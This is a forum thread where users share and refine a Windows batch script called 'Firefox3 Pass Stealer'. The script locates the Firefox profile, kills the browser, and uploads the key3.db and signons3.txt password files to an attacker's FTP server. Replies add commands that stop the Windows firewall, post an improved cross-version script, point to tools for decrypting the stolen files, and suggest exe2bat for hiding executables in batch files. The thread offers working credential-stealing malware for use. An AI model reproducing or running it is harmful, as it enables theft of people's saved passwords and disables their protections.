9 replies to this topic

[illwill]

i was bored while waiting for dinner


basically it takes the key3.db and signons3.txt and send to your ftp server
you can decode them a few ways:
1. create a new firefox profile and place the files in the profile directory
2. use firepassword http://securityxplod...irepassword.php
3. use passwordfox http://www.nirsoft.n...passwordfox.zip

cls
@echo Firefox3 Pass Stealer
@echo Written by illwill
:: make sure you edit the ftpsite, user and pass 



echo off
PUSHD "%UserProfile%\Application Data\Mozilla\Firefox"
IF NOT ERRORLEVEL 1 FOR /F "tokens=2 delims==" %%A IN ('TYPE profiles.ini ^| FINDSTR.EXE /R /B /I /C:"Path="') DO SET Profile=%%~nxA
POPD
echo open SITENAME.COM>>c:\$.tmp
echo user USERNAME>>c:\$.tmp
echo PASSWORD>>c:\$.tmp
echo cd public_html>>c:\$.tmp
echo put "%UserProfile%\Application Data\Mozilla\Firefox\Profiles\%Profile%\signons3.txt">>c:\$.tmp
echo put "%UserProfile%\Application Data\Mozilla\Firefox\Profiles\%Profile%\key3.db">>c:\$.tmp
echo quit >>c:\$.tmp
ftp -v -i -n -s:c:\$.tmp
del c:\$.tmp

[illwill]

oops i pasted the wrong one
**fixed**

[hamamo]

nice one i will try later

Dennis: Please refrain from making posts that do not contribute anything to the thread itself.

[tex]

your script does not function on "vista ultimate (de) SP2" and "firefox 3.0.11"

C:\$.tmp

put "C:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\\signons3.txt"
 put "C:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\\key3.db"

script can not upload the files because the profile-folder is not insert "\\".

#edit
add the following lines to deaktivate the windows-firewall

echo STOP Vista Firewall
net stop mpssvc
echo STOP XP Firewall
net stop sharedaccess

greethings

[illwill]

Test this out and let me know

cls
@echo Firefox3 Pass Stealer for xp/vista/win7
@echo Written by illwill
:: make sure you edit the SITENAME.COM, USERNAME and PASSWORD
:: erase the "echo cd public_html>>$.tmp" if not need

@Echo off
taskkill /IM firefox.exe

VER | findstr /i "5.1." > nul
IF %ERRORLEVEL% EQU 0 GOTO NOTXP
PUSHD "%UserProfile%\Application Data\Mozilla\Firefox"
IF NOT ERRORLEVEL 1 FOR /F "tokens=2 delims==" %%A IN ('TYPE profiles.ini ^| FINDSTR.EXE /R /B /I /C:"Path="') DO SET Profile=%%~nxA
set signons="%UserProfile%\Application Data\Mozilla\Firefox\Profiles\%Profile%\signons3.txt"
set key="%UserProfile%\Application Data\Mozilla\Firefox\Profiles\%Profile%\key3.db"
goto Send

:NOTXP
PUSHD "%UserProfile%\AppData\Roaming\Mozilla\Firefox"
IF NOT ERRORLEVEL 1 FOR /F "tokens=2 delims==" %%A IN ('TYPE profiles.ini ^| FINDSTR.EXE /R /B /I /C:"Path="') DO SET Profile=%%~nxA
set signons="%UserProfile%\AppData\Roaming\Mozilla\Firefox\Profiles\%Profile%\signons3.txt"
set key="%UserProfile%\AppData\Roaming\Mozilla\Firefox\Profiles\%Profile%\key3.db"

:Send
POPD
echo open SITENAME.COM>$.tmp
echo user USERNAME>>$.tmp
echo PASSWORD>>$.tmp
echo cd public_html>>$.tmp
echo put %signons% >>$.tmp
echo put %key% >>$.tmp
echo quit >>$.tmp
type $.tmp
ftp -v -i -n -s:$.tmp
del $.tmp
exit

[DawnXpx]

I didn't test if it FTPs the files but it gets the signons and key files pathname right. [Firefox 3.5.1 on WinXp SP2]

[DawnXpx]

Btw, sigons secrets are no more stored in signons.txt for version 3.5 and above.. Its stored in signons.sqlite

[mhtsos]

firefox in batch ??

[Edu]

sir, read the topic before asking stupid questions please. Also look at dates.
It is very clear from only reading the title. it is a password stealer batch script that sends out files in which the pass is stored to a remote FTP location. It is also possible to embed an executable (if it is not big) inside a batch script and have it extracted and executed upon opening the bat file. before you ask me how this is done, google search for exe2bat or exetobat convert and you will find the tool.
cheers.